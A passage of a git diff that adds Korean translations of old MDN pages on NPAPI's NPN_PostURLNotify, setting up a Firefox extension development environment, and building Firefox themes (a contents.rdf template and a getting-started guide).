+ <dd>현재 플러그인 인스턴스, specified by the plug-in.</dd>
+ <dt>url</dt>
+ <dd>POST 호출할 URL, 플러그인.</dd>
+ <dt>target</dt>
+ <dd>대상 윈도우, specified by the plug-in. 자세한 설명은 NPN_GetURL을 보라.</dd>
+ <dt>len</dt>
+ <dd>buf의 길이.</dd>
+ <dt>buf</dt>
+ <dd>로컬 임시 파일 경로, 또는 POST로 전송할 데이터 버퍼.</dd>
+ <dt>file</dt>
+ <dd>파일을 POST로 전송할지 여부:
+ <ul>
+  <li>true: buf에 지정된 로컬 파일을 전송하고, 완료되면 파일은 삭제한다.</li>
+  <li>false: buf에 있는 데이터를 직접 전송한다.</li>
+ </ul>
+ </dd>
+ <dt>notifydata</dt>
+ <dd>POST 요청을 식별하기 위한 값. <a href="/en-US/docs/NPP_URLNotify">NPP_URLNotify</a>의 호출에 의해 이 값이 전달된다. (<a href="#Description">아래 설명을 보라</a>).</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">반환값</h3>
+
+<ul>
+ <li>성공하면 NPERR_NO_ERROR을 리턴한다.</li>
+ <li>실패하면 플러그인은 로드되지 않고, 에러 코드를 리턴한다. 에러값은 <a href="/en-US/docs/NPAPI/Constants#Error_Codes">Error Codes</a> 를 보라.</li>
+</ul>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p><code>NPN_PostURLNotify</code> 함수는 <a href="/en-US/docs/NPN_PostURL">NPN_PostURL</a>와 거의 같지만, 다음과 같은 차이가 있다:</p>
+
+<ul>
+ <li><code>NPN_PostURLNotify</code> 는 메모리 버퍼를 사용할 때 헤더를 지정할 수 있다.</li>
+ <li><code>NPN_PostURLNotify</code> 는 성공하든 실패하든 요청이 완료되면 <a href="/en-US/docs/NPP_URLNotify">NPP_URLNotify</a>를 호출한다. 더 자세한 설명을 보려면 <a href="/en-US/docs/NPN_PostURL">NPN_PostURL</a>을 보도록 한다.</li>
+</ul>
+
+<p><code>NPN_PostURLNotify</code>는 비동기로 동작한다: 함수는 바로 리턴되고, 요청이 처리되면 <a href="/en-US/docs/NPP_URLNotify">NPP_URLNotify</a>를 호출한다.</p>
+
+<p>If this function is called with a target parameter value of _self or a parent to _self, this function should return an INVALID_PARAM NPError. This is the only way to notify the plug-in once it is deleted. See <a href="/en-US/docs/NPN_GetURL">NPN_GetURL</a> for information about this parameter.</p>
+
+<h2 id="See_also" name="See_also">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/NPN_GetURL">NPN_GetURL</a>, <a href="/en-US/docs/NPP_URLNotify">NPP_URLNotify</a>, <a href="/en-US/docs/NPN_PostURL">NPN_PostURL</a></li>
+</ul>
diff --git a/files/ko/mozilla/add-ons/setting_up_extension_development_environment/index.html b/files/ko/mozilla/add-ons/setting_up_extension_development_environment/index.html
new file mode 100644
index 0000000000..4d42077d04
--- /dev/null
+++ b/files/ko/mozilla/add-ons/setting_up_extension_development_environment/index.html
@@ -0,0 +1,89 @@
+---
+title: 확장기능 개발 환경 구축
+slug: Mozilla/Add-ons/Setting_up_extension_development_environment
+translation_of: Archive/Add-ons/Setting_up_extension_development_environment
+---
+<p>이 글에는 확장기능 개발을 위한 Mozilla 응용프로그램 설정 방법을 제공합니다. 특별한 지정하지 않는 한 이 방법들은 Firefox와 Thunderbird 뿐만 아니라 SeaMonkey 버전 2.0 이상에서도 적용가능합니다.</p>
+<h3 id="개요">개요</h3>
+<ul>
+ <li>Firefox의 개발세션을 실행하기 위한 개발용 <strong>사용자 프로필</strong>을 생성합니다. 그리고 <code>about:config</code> 에서 특정한 개발용 환경설정을 합니다.</li>
+ <li>개발용 프로필에 몇가지 Firefox <strong>개발용 확장기능</strong>을 설치합니다.</li>
+ <li>당신의 프로필의 extensions 폴더안의 파일들을 수정하고 개발용 프로필과 응용프로그램을 재시작합니다.</li>
+</ul>
+<h3 id="Development_profile" name="Development_profile">개발용 프로필</h3>
+<p>개발 단계에서 성능저하를 방지하려면 환경 설정 및 확장과 관련된 개인 데이터의 손실을 피하기 위해 개발 작업을 위한 별도의 프로필을 사용 할 수 있습니다.</p>
+<p>별도의 프로필과 <code>-no-remote</code> 매개 변수와 함께 응용 프로그램을 구동하여 같은 시간에 Thunderbird 또는 Firefox 의 두 개의 인스턴스를 실행 할 수 있습니다.</p>
+<p>우분투:</p>
+<pre>/usr/bin/firefox -no-remote -P dev</pre>
+<p>다른 리눅스 배포판:</p>
+<pre>/usr/local/bin/firefox -no-remote -P dev
+</pre>
+<p>맥킨토시:</p>
+<pre class="eval">/Applications/Firefox.app/Contents/MacOS/firefox-bin -no-remote -P dev &amp;
+</pre>
+<p>윈도우즈:</p>
+<pre class="eval">시작 -&gt; 실행 "%ProgramFiles%\Mozilla Firefox\firefox.exe" -no-remote -P dev
+</pre>
+<p>Firefox 대신에 Thunderbird 또는 SeaMonkey를 시작 하려면 , 위의 예제에서 "firefox" 대신 "thunderbird" 또는 "seamonkey" 으로 대체합니다.</p>
+<p>프로필 지정이 존재 하지 않는 경우 (또는 프로필을 지정 안하는 경우), Thunderbird 또는 Firefox 프로필 관리자가 표시됩니다. 기본 프로필로 실행 하기위해 프로필을 "default"로 지정합니다. (또는 "-P 를 생략합니다.).</p>
+<p>(There is a thread in the <a class="external" href="http://forums.mozillazine.org/" title="http://forums.mozillazine.org/">Mozillazine forums</a> that explains how to use both stable and development versions of Firefox to check extension compatibility. See <a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=613873">Installing Firefox 3 or Minefield while keeping Firefox 2</a>.)</p>
+<h3 id="Development_preferences" name="Development_preferences">개발용 설정</h3>
+<p>There is a set of development preferences that, when enabled, allows you to view more information about application activity, thus making debugging easier. However,  these preferences can degrade performance, so you may want to use a separate development profile when you enable these preferences. For more information about Mozilla preferences, refer to the mozillaZine article on "<a class="external" href="http://kb.mozillazine.org/About:config" title="http://kb.mozillazine.org/About:config">about:config</a>".</p>
+<p>Not all preferences are defined by default, and are therefore not listed in <code>about:config</code> by default. You will have to create new (boolean) entries for them.</p>
+<ul>
+ <li><strong>javascript.options.showInConsole</strong> = <strong>true</strong>. Logs errors in chrome files to the <a href="/en/Error_Console" title="en/Error_Console">Error Console</a>.</li>
+ <li><strong>nglayout.debug.disable_xul_cache</strong> = <strong>true</strong>. Disables the XUL cache so that changes to windows and dialogs do not require a restart. This assumes you're <a href="#Using_directories_rather_than_JARs">using directories rather than JARs</a>. Changes to XUL overlays will still require reloading of the document overlaid.</li>
+ <li><strong>browser.dom.window.dump.enabled</strong> = <strong>true</strong>. Enables the use of the <span style="font-family: Courier New;">dump()</span> statement to print to the standard console. See <span style="font-family: Courier New;">{{ Domxref("window.dump") }}</span> for more info. You can also use <span style="font-family: Courier New;">{{ Interface("nsIConsoleService") }}</span> from a privileged script.</li>
+ <li><strong>javascript.options.strict</strong> = <strong>true</strong>. Enables strict JavaScript warnings in the Error Console. Note that since many people have this setting turned off when developing, you will see lots of warnings for problems with their code in addition to warnings for your own extension. You can filter those with <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1815">Console<sup>2</sup></a>.</li>
+ <li><strong>extensions.logging.enabled</strong> = <strong>true</strong>. This will send more detailed information about installation and update problems to the <a href="/en/Error_Console" title="en/Error Console">Error Console</a>. (Note that the extension manager automatically restarts the application at startup sometimes, which may mean you won't have time to see the messages logged before the automatic restart happens. To see them, prevent the automatic restart by setting the environment NO_EM_RESTART to 1 before starting the application.)</li>
+ <li>You might also want to set <strong>dom.report_all_js_exceptions = true</strong>. See <a class="internal" href="/en/Exception_logging_in_JavaScript" title="en/Exception logging in JavaScript">Exception logging in JavaScript</a> for details.</li>
+</ul>
+<h4 id="Accessing_Firefox_development_preferences">Accessing Firefox development preferences</h4>
+<p>To change preference settings in Firefox or SeaMonkey, type <code>about:config </code>in the Location Bar. Alternatively, use the <a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/7434/" title="http://addons.mozilla.org/en-US/firefox/addon/7434/">Extension Developer's Extension</a>, which provides a menu interface for Firefox settings.</p>
+<h4 id="Accessing_Thunderbird_development_preferences">Accessing Thunderbird development preferences</h4>
+<p>To change preference settings in Thunderbird, open the "Preferences" (Unix) or "Options" (Windows) interface. On the "Advanced" page, select the "General" tab then click the "Config Editor" button.</p>
+<h3 id="Development_extensions" name="Development_extensions">개발에 도움되는 확장 기능</h3>
+<p>이 확장 기능들이 당신이 개발을 할때 도움을 줄 수 있습니다.</p>
+<ul>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622" title="https://addons.mozilla.org/en-US/firefox/addon/6622">DOM Inspector</a>,  웹 문서 또는 XUL 응용 프로그램의 live DOM을 점검하고 편집하는 곳에 사용 (Firefox 와 Thunderbird)</li>
+ <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/" title="http://www.hacksrus.com/~ginda/venkman/">Venkman</a>, JavaScript 디버거 (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/216" title="http://addons.mozilla.org/en-US/firefox/addon/216">Firefox 버전</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/216" title="http://addons.mozilla.org/en-US/thunderbird/addon/216">Thunderbird 버전</a>)</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434/">Extension Developer's Extension</a> 확장 기능 개발을 위한 툴 제품군 (Firefox)</li>
+ <li><a class="external" href="http://console2.mozdev.org/" title="http://console2.mozdev.org/">Console<sup>2</sup></a> 향상된 JavaScript 콘솔 (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/1815" title="http://addons.mozilla.org/en-US/firefox/addon/1815">Firefox 버전</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/1815" title="http://addons.mozilla.org/en-US/thunderbird/addon/1815">Thunderbird 버전</a>)</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/firefox/addon/5058" title="https://addons.mozilla.org/firefox/addon/5058">Javascript Command</a> Firefox windows 에서 javascript를 작성 및 테스트 하는 곳에 사용</li>
+ <li><a class="external" href="http://www.gijsk.com/" title="http://www.gijsk.com/">Chrome List</a> chrome:// 안에서 파일을 탐색하고 보는 곳에 사용 (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/4453" title="http://addons.mozilla.org/en-US/firefox/addon/4453">Firefox 버전</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/4453" title="http://addons.mozilla.org/en-US/thunderbird/addon/4453">Thunderbird 버전</a>)</li>
+ <li><a class="external" href="http://webdesigns.ms11.net/chromeditp.html" title="http://webdesigns.ms11.net/chromeditp.html">Chrome Edit Plus </a> 사용자 파일 에디터 (Firefox 와 Thunderbird)</li>
+ <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/" title="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Extension Wizard</a> 확장 기능의 골격을 생성하는 <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="a web-based application that generates an
+    extension skeleton">웹 기반 응용 프로그램 </span></span>(Firefox 와 Thunderbird)</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/firefox/addon/1843">Firebug</a> 다양한 개발 도구 (Firefox)</li>
+ <li><a class="external" href="http://getfirebug.com/releases" title="http://getfirebug.com/releases">Chromebug</a> JavaScript 디버거와 DOM의 결합 요소 (Firefox, "kinda works for Thunderbird")</li>
+ <li><a class="external" href="http://hyperstruct.net/projects/mozrepl" title="http://hyperstruct.net/projects/mozrepl">MozRepl  </a>Firefox 와 다른 Mozilla 응용 프로그램이 실행 되는 동안 탐색 과 편집 (Firefox 와 Thunderbird)</li>
+ <li><a class="external" href="http://www.mouseless.de/index.php?/content/view/18/31/" title="http://www.mouseless.de/index.php?/content/view/18/31/">ExecuteJS</a> 향상된 JavaScript 콘솔 (<a class="link-https" href="https://addons.mozilla.org/firefox/addon/1729" title="https://addons.mozilla.org/firefox/addon/1729">Firefox 버전</a>, <a class="external" href="http://xsidebar.mozdev.org/modifiedmisc.html#executejs" title="http://xsidebar.mozdev.org/modifiedmisc.html#executejs">Thunderbird 버전</a>)</li>
+ <li><a class="external" href="http://xpcomviewer.mozdev.org">XPCOMViewer</a> XPCOM 검사기 (Firefox 와 Thunderbird)</li>
+ <li><a class="internal" href="/en/JavaScript_shells" title="En/JavaScript
+    shells">JavaScript shells</a> JavaScript 의 미리보기 테스트  (Firefox 와 Thunderbird)</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/5817" title="https://addons.mozilla.org/en-US/firefox/addon/5817">SQLite Manager</a> SQLite 데이터베이스를 관리 (Firefox 와 Thunderbird)</li>
+ <li><a class="external" href="http://www.rumblingedge.com/viewabout/" title="http://www.rumblingedge.com/viewabout/">ViewAbout</a> enables access to various about: dialogs from the View menu (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/9695" title="https://addons.mozilla.org/en-US/firefox/addon/9695">Firefox 버전</a>, <a class="link-https" href="https://addons.mozilla.org/en-US/thunderbird/addon/9695" title="https://addons.mozilla.org/en-US/thunderbird/addon/9695">Thunderbird 버전</a>)</li>
+ <li><span class="content"><span class="title"><a class="external" href="http://code.google.com/p/crashme/" title="http://code.google.com/p/crashme/">Crash Me Now!</a> </span></span><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="useful for testing
+    debug symbols and the
+    crash reporting system">디버그 기호 및 충돌 보고 시스템</span></span> (Firefox 와 Thunderbird)</li>
+</ul>
+<p> </p>
+<h3 id="Custom_code_location" name="Custom_code_location">Firefox extension proxy file</h3>
+<p>Extension files are normally installed in the user profile. However, it is usually easier to place extension files in a temporary location, which also  protects source files from accidental deletion. This section explains how to create a proxy file that points to an extension that is installed in a location other than the user profile.</p>
+<ol>
+ <li>Get the extension ID from the extension's install.rdf file.</li>
+ <li>Create a file in the "extensions" directory under your profile directory with the extension's ID as the file name (for example "your_profile_directory/extensions/{46D1B3C0-DB7A-4b1a-863A-6EE6F77ECB58}"). (<a class="external" href="http://kb.mozillazine.org/Profile_folder">How to find your profile directory</a>) Alternatively, rather than using a GUID, create a unique ID using the format "name@youremail" (for example <span style="font-family: Courier New;"><a class="link-mailto" href="mailto:chromebug@mydomain.com" rel="freelink">chromebug@mydomain.com</a>).</span></li>
+ <li>The contents of this file should be the path to the directory that contains your install.rdf file. (eg. "<span style="font-family: Courier New;">/full/path/to/yourExtension/</span>". Windows users should use the drive name (CAPS) and backslashes instead of frontslashes (for example "<span style="font-family: Courier New;">C:\full\path\to\yourExtension\</span>" or "<span style="font-family: Courier New;">C:\sam\workspace\toolbar\helloWorldtoolbar\</span>").Remember to include the closing slash and remove any trailing whitespace.
+  <ul>
+   <li>In Firefox 3, if you already installed the extension via XPI, you might need to install one or all of the extensions.* files in the profile folder. Backup first, but these files will be regenerated. (I don't know what the original author had in mind here, but the files <span style="font-family: Courier New;">extensions.cache, extensions.ini, extensions.rdf, compreg.dat, <span style="font-family: Verdana;">and</span> xpti.dat</span> are all regenerated by Firefox if deleted. You need to delete them if you mess with 'components', no harm done. Firefox will disconnect from its parent process when it regens these files, so you may have to exit once and restart if you use the OS console.)</li>
+  </ul>
+ </li>
+ <li>Place the file in the extensions folder of your profile and restart the application.</li>
+</ol>
+<h3 id="Using_directories_rather_than_JARs" name="Using_directories_rather_than_JARs">Using directories rather than JARs</h3>
+<p>Regardless of whether you choose to eventually package your extension's chrome in a JAR or in directories, developing in directories is simpler. If you choose a JARed structure for releasing, you can still develop with a directory structure by editing your chrome.manifest. For example, rather than having</p>
+<pre class="eval">content	myExtension	jar:chrome/myExtension.jar!/content/
+</pre>
+<p>use</p>
+<pre class="eval">content	myExtension	chrome/content/
+</pre>
diff --git a/files/ko/mozilla/add-ons/themes/index.html b/files/ko/mozilla/add-ons/themes/index.html
new file mode 100644
index 0000000000..58c574d51f
--- /dev/null
+++ b/files/ko/mozilla/add-ons/themes/index.html
@@ -0,0 +1,64 @@
+---
+title: Themes
+slug: Mozilla/Add-ons/Themes
+tags:
+  - Add-ons
+  - Look & Feel
+  - NeedsTranslation
+  - Themes
+  - TopicStub
+translation_of: Mozilla/Add-ons/Themes
+---
+<p>Themes are skins for different Mozilla applications. They allow you to change the look and feel of the user interface and personalize it to your tastes. A theme can simply change the colors of the UI or it can change every piece of its appearance. The Theme documentation here is out of date, but we're hoping to get some help to update it soon.</p>
+<div class="column-container">
+ <div class="column-half">
+  <h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
+  <dl>
+   <dt>
+    <a href="/en-US/docs/Building_a_Theme" title="Building a Theme">Building a Theme</a></dt>
+   <dd>
+    A tutorial for building a simple theme in Firefox.</dd>
+   <dt>
+    <a href="/en-US/docs/Themes/Common_Firefox_Theme_Issues_and_Solutions" title="Themes/Common_Firefox_Theme_Issues_and_Solutions">Common Theme Issues and Their Solutions</a></dt>
+   <dd>
+    Common issues seen when AMO editors review themes and how to fix them.</dd>
+   <dt>
+    <a href="/en-US/docs/Themes/Lightweight_themes" title="Themes/Lightweight themes">Lightweight themes</a></dt>
+   <dd>
+    Building lightweight themes for Firefox</dd>
+   <dt>
+    <a href="/en-US/docs/Creating_a_Skin_for_SeaMonkey_2.x" title="Creating_a_Skin_for_SeaMonkey_2.x">Creating a Skin for SeaMonkey 2</a></dt>
+   <dd>
+    An introduction to creating new themes for SeaMonkey 2.</dd>
+   <dt>
+    <a href="/en-US/docs/Making_Sure_Your_Theme_Works_with_RTL_Locales" title="Making_Sure_Your_Theme_Works_with_RTL_Locales">Making Sure Your Theme Works with RTL Locales</a></dt>
+   <dd>
+    How to make sure your theme will look right with Hebrew, Arabic, Persian and Urdu locales.</dd>
+   <dt>
+    <a href="/en-US/docs/Theme_Packaging" title="Theme_Packaging">Theme Packaging</a></dt>
+   <dd>
+    How to package themes for Firefox and Thunderbird.</dd>
+   <dt>
+    <a href="http://www.tudobom.de/articles/yatt/" title="http://www.tudobom.de/articles/yatt/">Yet Another Theme Tutorial</a></dt>
+   <dd>
+    Another tutorial in Mozilla theme construction.</dd>
+   <dt>
+    <a href="/en-US/Mozilla/Add-ons/Themes/Obsolete">Obsolete docs</a></dt>
+   <dd>
+    These docs are very old and will never be updated, but we've kept them in case the are useful source material for people updating the Theme documentation.</dd>
+  </dl>
+ </div>
+ <div class="column-half">
+  <h2 id="Getting_help">Getting help</h2>
+  <ul>
+   <li><a href="http://forums.mozillazine.org/viewforum.php?f=18">MozillaZine Themes forum</a></li>
+  </ul>
+  <h2 class="Tools" id="Tools" name="Tools">Tools</h2>
+  <ul>
+   <li><a href="/en-US/docs/DOM_Inspector" title="DOM_Inspector">DOM Inspector</a></li>
+   <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/inspectorwidget/">InspectorWidget</a></li>
+   <li><a class="link-https" href="https://addons.mozilla.org/en-us/firefox/addon/force-rtl/">Force RTL</a>: Test for RTL compatibility</li>
+  </ul>
+ </div>
+</div>
+<p> </p>
diff --git a/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/contents.rdf/index.html b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/contents.rdf/index.html
new file mode 100644
index 0000000000..a5cb662916
--- /dev/null
+++ b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/contents.rdf/index.html
@@ -0,0 +1,44 @@
+---
+title: contents.rdf
+slug: Mozilla/Add-ons/Themes/Obsolete/Creating_a_Skin_for_Firefox/contents.rdf
+translation_of: Archive/Themes/Creating_a_Skin_for_Firefox/contents.rdf
+---
+<p>다음 내용을 복사하여 빈 텍스트 파일에 붙여넣고, "<code>contents.rdf</code>" 라는 이름으로 저장하세요:</p>
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:chrome="http://www.mozilla.org/rdf/chrome#"&gt;
+
+  &lt;!-- List all the skins being supplied by this theme --&gt;
+  &lt;RDF:Seq about="urn:mozilla:skin:root"&gt;
+    &lt;RDF:li resource="urn:mozilla:skin:My_Theme"/&gt;
+  &lt;/RDF:Seq&gt;
+
+  &lt;RDF:Description about="urn:mozilla:skin:My_Theme"
+        chrome:displayName="My Theme"
+        chrome:accessKey="N"
+        chrome:author=""
+        chrome:authorURL=""
+        chrome:description=""
+        chrome:name="My_Theme"
+        chrome:image="preview.png" &gt;
+   &lt;chrome:packages&gt;
+      &lt;RDF:Seq about="urn:mozilla:skin:My_Theme:packages"&gt;
+        &lt;RDF:li resource="urn:mozilla:skin:My_Theme:browser"/&gt;
+        &lt;RDF:li resource="urn:mozilla:skin:My_Theme:communicator"/&gt;
+        &lt;RDF:li resource="urn:mozilla:skin:My_Theme:global"/&gt;
+        &lt;RDF:li resource="urn:mozilla:skin:My_Theme:mozapps"/&gt;
+        &lt;RDF:li resource="urn:mozilla:skin:My_Theme:help"/&gt;
+      &lt;/RDF:Seq&gt;
+    &lt;/chrome:packages&gt;
+  &lt;/RDF:Description&gt;
+
+  &lt;!-- Version Information.  State that we work only with major version 1 of this package. --&gt;
+  &lt;RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:browser"/&gt;
+  &lt;RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:communicator"/&gt;
+  &lt;RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:global"/&gt;
+  &lt;RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:mozapps"/&gt;
+  &lt;RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:help"/&gt;
+&lt;/RDF:RDF&gt;
+</pre>
+<p>{{ languages( { "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox/contents.rdf" } ) }}</p>
diff --git a/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/getting_started/index.html b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/getting_started/index.html
new file mode 100644
index 0000000000..364b93fcf2
--- /dev/null
+++ b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/getting_started/index.html
@@ -0,0 +1,108 @@
+---
+title: Getting Started
+slug: Mozilla/Add-ons/Themes/Obsolete/Creating_a_Skin_for_Firefox/Getting_Started
+translation_of: Archive/Mozilla/Creating_a_skin_for_Mozilla/Getting_Started
+---
+<h3 id=".EC.84.A4.EC.A0.95" name=".EC.84.A4.EC.A0.95">설정</h3>
+<p>최신 버전의 파이어폭스를 다운로드하여 설치하세요. DOM Inspector도 함께 설치합니다.</p>
+<h4 id=".ED.85.8C.EB.A7.88_.EC.95.95.EC.B6.95_.ED.92.80.EA.B8.B0" name=".ED.85.8C.EB.A7.88_.EC.95.95.EC.B6.95_.ED.92.80.EA.B8.B0">테마 압축 풀기</h4>
+<p>이미 기존에 파이어폭스에서 사용할 수 있도록 만들어진 어떤 테마를 살펴보더라도, 파이어폭스의 기본 테마인 Winstripe와의 일관성을 발견할 수 있다. 이 테마는 파이어폭스의 설치 디렉토리에 존재하는 &lt;tt&gt;classic.jar&lt;/tt&gt; 파일 안에 들어 있다. .jar 파일은 zip과 확장자만 다르지 그 압축 구조는 같기 때문에 일반적인 zip 압축 프로그램을 사용하여 풀어볼 수 있다. 만약에 압축 프로그램에서 .jar를 지원하지 않는다면 &lt;tt&gt;classic.zip&lt;/tt&gt;과 같이 파일 이름을 바꾸고 압축을 해제할 수 있다.</p>
+<h5 id="Classic.jar_.EC.9D.98_.EC.9C.84.EC.B9.98_.EC.B0.BE.EA.B8.B0" name="Classic.jar_.EC.9D.98_.EC.9C.84.EC.B9.98_.EC.B0.BE.EA.B8.B0">Classic.jar 의 위치 찾기</h5>
+<p><b>Linux:</b> /usr/lib/MozillaFirefox/chrome/classic.jar</p>
+<p><b>Windows:</b> \Program Files\Mozilla Firefox\chrome\classic.jar</p>
+<p><b>Mac OS X:</b></p>
+<ul>
+ <li>applications 폴더를 엽니다.</li>
+ <li>Control 버튼과 함께 파이어폭스 아이콘을 클릭합니다. 그리고 패키지 보기(Show Package)를 선택합니다.</li>
+ <li>contents/MacOS/Chrome/classic.jar 로 들어갑니다.</li>
+</ul>
+<p>&lt;tt&gt;classic.jar&lt;/tt&gt;를 다른 쉽게 접근할 수 있는 폴더로 이동합니다. &lt;tt&gt;Classic&lt;/tt&gt;를 추천합니다. 그리고 그 폴더에서 압축을 풀어 놓습니다.</p>
+<h4 id="classic.jar.EC.9D.98_.EB.82.B4.EB.B6.80.EB.A5.BC_.EB.93.A4.EC.97.AC.EB.8B.A4.EB.B4.85.EC.8B.9C.EB.8B.A4" name="classic.jar.EC.9D.98_.EB.82.B4.EB.B6.80.EB.A5.BC_.EB.93.A4.EC.97.AC.EB.8B.A4.EB.B4.85.EC.8B.9C.EB.8B.A4">classic.jar의 내부를 들여다봅시다</h4>
+<p>&lt;tt&gt;classic.jar&lt;/tt&gt;의 압축을 풀어보면 &lt;tt&gt;skin&lt;/tt&gt; 디렉토리와, &lt;tt&gt;preview.png&lt;/tt&gt;, 그리고 &lt;tt&gt;icon.png&lt;/tt&gt; 파일이 들어 있습니다.</p>
+<dl>
+ <dt>
+  &lt;tt&gt;skin&lt;/tt&gt;</dt>
+ <dd>
+  이 디렉토리 안에는 스킨을 이용하는 모든 훌륭한 재료들을 포함하는 &lt;tt&gt;classic&lt;/tt&gt; 디렉토리가 있습니다.</dd>
+ <dt>
+  &lt;tt&gt;classic&lt;/tt&gt;</dt>
+ <dd>
+  &lt;tt&gt;classic&lt;/tt&gt; 디렉토리는 다음과 같은 디렉토리들을 포함합니다.</dd>
+ <dt>
+  &lt;tt&gt;browser&lt;/tt&gt;</dt>
+ <dd>
+  &lt;tt&gt;browser&lt;/tt&gt; 디렉토리에는 툴바 아이콘들이 들어 있습니다. 북마크 관리자나 설정창에 사용되는 아이콘도 여기에 들어 있습니다.</dd>
+ <dt>
+  &lt;tt&gt;global&lt;/tt&gt;</dt>
+ <dd>
+  &lt;tt&gt;global&lt;/tt&gt; 디렉토리는 테마에서 특별히 중요한 부분으로, 브라우저의 외관을 설정하는 중요한 CSS 파일을 담고 있습니다.</dd>
+ <dt>
+  &lt;tt&gt;mozapps&lt;/tt&gt;</dt>
+ <dd>
+  &lt;tt&gt;mozapps&lt;/tt&gt; 디렉토리에는 브라우저와 확장 관리자, 업데이트 마법사를 위한 스타일 및 아이콘이 들어 있습니다.</dd>
+ <dt>
+  &lt;tt&gt;help&lt;/tt&gt;</dt>
+ <dd>
+  이 디렉토리에는 헬프 윈도우에 필요한 테마 파일들이 들어 있습니다.</dd>
+ <dt>
+  &lt;tt&gt;communicator&lt;/tt&gt;</dt>
+ <dd>
+  이 디렉토리의 내용은 사용되지 않으며 추후 삭제될 것입니다.</dd>
+</dl>
+<h4 id=".EC.83.88.EB.A1.9C.EC.9A.B4_.ED.85.8C.EB.A7.88_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0" name=".EC.83.88.EB.A1.9C.EC.9A.B4_.ED.85.8C.EB.A7.88_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0">새로운 테마 설치하기</h4>
+<p>아무래도 라이브 에디트를 설정하는 것에 부분부분 어려운 점이 있다보니, 일단은 직접 파이어폭스 테마를 만들며 변화하는 모습을 지켜보기 전에 기존의 테마를 설치할 수 있는 상태로 리패키징하는 법을 먼저 배우는 것이 좋겠습니다. 이 부분에서 우리는 작업에 필요한 테마를 "My_Theme"라고 부를 것이지만, 다른 이름으로 불러도 자유입니다.</p>
+<h5 id=".ED.95.84.EC.9A.94.ED.95.9C_.ED.8C.8C.EC.9D.BC_.EB.B3.B5.EC.82.AC.ED.95.98.EA.B8.B0" name=".ED.95.84.EC.9A.94.ED.95.9C_.ED.8C.8C.EC.9D.BC_.EB.B3.B5.EC.82.AC.ED.95.98.EA.B8.B0">필요한 파일 복사하기</h5>
+<p>먼저 첫번째 과정은 필요한 모든 파일을 올바른 디렉토리 구조로 옮겨넣는 것입니다. &lt;tt&gt;My_Theme&lt;/tt&gt;라는 이름의 디렉토리를 하나 만드세요. 이 디렉토리로 들어가 &lt;tt&gt;browser&lt;/tt&gt;, &lt;tt&gt;global&lt;/tt&gt;, &lt;tt&gt;communicator&lt;/tt&gt;, &lt;tt&gt;help&lt;/tt&gt;, 그리고 &lt;tt&gt;mozapps&lt;/tt&gt;와 같은 이름의 디렉토리들을 만듭니다. &lt;tt&gt;classic.jar&lt;/tt&gt; 파일을 열어 보았을 때와 같은 구조이지요, 여기에다가 &lt;tt&gt;icon.png&lt;/tt&gt; 파일과 &lt;tt&gt;preview.png&lt;/tt&gt; 파일을 만들어 넣습니다.</p>
+<h5 id=".EC.84.A4.EC.B9.98_.ED.8C.8C.EC.9D.BC_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".EC.84.A4.EC.B9.98_.ED.8C.8C.EC.9D.BC_.EB.A7.8C.EB.93.A4.EA.B8.B0">설치 파일 만들기</h5>
+<h6 id="Contents.rdf" name="Contents.rdf">Contents.rdf</h6>
+<p><a href="ko/Creating_a_Skin_for_Firefox/contents.rdf">contents.rdf</a> 파일을 &lt;tt&gt;\My_Theme&lt;/tt&gt; 디렉토리에 집어넣고 텍스트 에디터를 사용하여 열어보겠습니다. 이 파일은 스킨에 대해 기술해 놓은 작은 XML 데이터베이스로 이루어져 있습니다.</p>
+<p>이 파일에는 "My_Theme"의 구성 요소들을 찾아볼 수 있고, 이 내용을 새로 만드는 테마에 맞추어 이름을 바꿀 수도 있습니다.</p>
